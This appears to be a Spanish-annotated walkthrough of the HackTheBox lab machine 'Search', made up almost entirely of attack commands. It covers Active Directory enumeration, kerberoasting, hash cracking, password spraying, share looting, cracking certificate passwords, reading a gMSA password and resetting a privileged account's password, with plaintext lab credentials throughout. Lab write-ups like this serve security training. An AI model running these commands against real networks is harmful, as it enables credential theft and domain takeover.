# SEARCH

nmap -sS --min-rate 5000 -vvv -p- -Pn -n 10.10.11.129 -oG allPorts


crackmapexec smb 10.10.11.129


┌─[root@cr4y0-PC]─[/home/cr4y0/Desktop/HackTheBox/SEARCH]
└──╼ #echo "10.10.11.129 search.htb RESEARCH" >> /etc/hosts


rpcclient -U "" 10.10.11.129 -N
rpcclient 10.10.11.129 -U '%'


Se inspecciona el certificado ssl ya que es posible encontrar en los CN nombres de dominio alternativos.

openssl s_client -connect 10.10.11.129:443


`10.10.11.129 search.htb RESEARCH research.search.htb`


Enumerando los name server

dig @10.10.11.129 search.htb ns

ENumerando los servidores de correo

`dig @10.10.11.129 search.htb mx`

Probar un ataque de transferencia de zona

dig @10.10.11.129 search.htb axfr


## WEB



crackmapexec smb 10.10.11.129 -u users -p 'IsolationIsKey?'


`hope.sharp:IsolationIsKey?`

crackmapexec smb 10.10.11.129 -u hope.sharp -p 'IsolationIsKey?' --shares


crackmapexec smb 10.10.11.129 -u hope.sharp -p 'IsolationIsKey?' --users


crackmapexec smb 10.10.11.129 -u hope.sharp -p 'IsolationIsKey?' --groups


rpcclient -U "hope.sharp%IsolationIsKey?" 10.10.11.129
rpcclient $> enumdomusers

rpcclient -U "hope.sharp%IsolationIsKey?" 10.10.11.129 -c "enumdomusers" | grep -oP "\[.*?\]" | grep -v "0x" | tr -d "[]" | sort -u > long_users.txt


/opt/kerbrute/kerbrute userenum --dc 10.10.11.129 --domain search.htb -t 50 long_users.txt


Todos los usuarios son válidos pero ninguno ASRProasteable

rdate -n 10.10.11.129
ntpdate 10.10.11.129

En ocasiones el ataque no funciona porque la hora del DC es diferente a la máquina atacante

impacket-GetUserSPNs -dc-ip 10.10.11.129 search.htb/hope.sharp:IsolationIsKey? -request


john --wordlist=/usr/share/wordlists/rockyou.txt hashWEB_SVC


crackmapexec smb 10.10.11.129 -u web_svc -p @3ONEmillionbaby


crackmapexec smb 10.10.11.129 -u long_users.txt -p @3ONEmillionbaby --continue-on-success



Edgar.Jacobs:@3ONEmillionbaby
web_svc:@3ONEmillionbaby

ldapdomaindump -u 'search.htb\hope.sharp' -p 'IsolationIsKey?' 10.10.11.129



python3 /opt/BloodHound.py/bloodhound.py -c All -u 'hope.sharp' -p 'IsolationIsKey?' -ns 10.10.11.129 -d search.htb




smbmap -H 10.10.11.129 -u 'hope.sharp' -p 'IsolationIsKey?'
smbmap -H 10.10.11.129 -u 'hope.sharp' -p 'IsolationIsKey?' -R




smbclient \\\\10.10.11.129\\RedirectedFolders$ -U 'hope.sharp'
Enter WORKGROUP\hope.sharp's password: IsolationIsKey?


smbmap -H 10.10.11.129 -u 'hope.sharp' -p 'IsolationIsKey?' --download 'RedirectedFolders$/sierra.frye/user.txt'


smbmap -H 10.10.11.129 -u 'Edgar.Jacobs' -p '@3ONEmillionbaby' -R


smbmap -H 10.10.11.129 -u 'Edgar.Jacobs' -p '@3ONEmillionbaby' --download 'RedirectedFolders$\edgar.jacobs\Desktop\Phishing_Attempt.xlsx'


libreoffice 10.10.11.129-RedirectedFolders_edgar.jacobs_Desktop_Phishing_Attempt.xlsx



unzip 10.10.11.129-RedirectedFolders_edgar.jacobs_Desktop_Phishing_Attempt.xlsx
vi ./xl/worksheets/sheet2.xml




zip Document.xlsx -r .


libreoffice Document.xlsx


crackmapexec smb 10.10.11.129 -u usernames -p password --no-bruteforce


smbmap -H 10.10.11.129 -u 'Sierra.Frye' -p '$$49=wide=STRAIGHT=jordan=28$$18' --download 'RedirectedFolders$/sierra.frye/user.txt'



\RedirectedFolders$\Savanah.Velazquez\

wfuzz -c --hc=404 --hh=44982 -t 100 -w /opt/dictionary/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt 'http://search.htb/FUZZ'




/usr/share/john/pfx2john.py search-RESEARCH-CA.p12 > hash1
/usr/share/john/pfx2john.py staff.pfx > hash2

john --wordlist=/usr/share/wordlists/rockyou.txt hash1



Sierra.Frye
$$49=wide=STRAIGHT=jordan=28$$18
research




Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA'


Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'


$gmsa = Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp


$secpw = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
$cred = New-Object System.Management.Automation.PScredential 'BIR-ADFS-GMSA',$secpw
Invoke-Command -ComputerName localhost -Cred $cred -ScriptBlock { whoami }


Invoke-Command -ComputerName localhost -Cred $cred -ScriptBlock { net user tristan.davies cr4y0123$ }



wmiexec.py 'search.htb/tristan.davies':'cr4y0123$'@10.10.11.129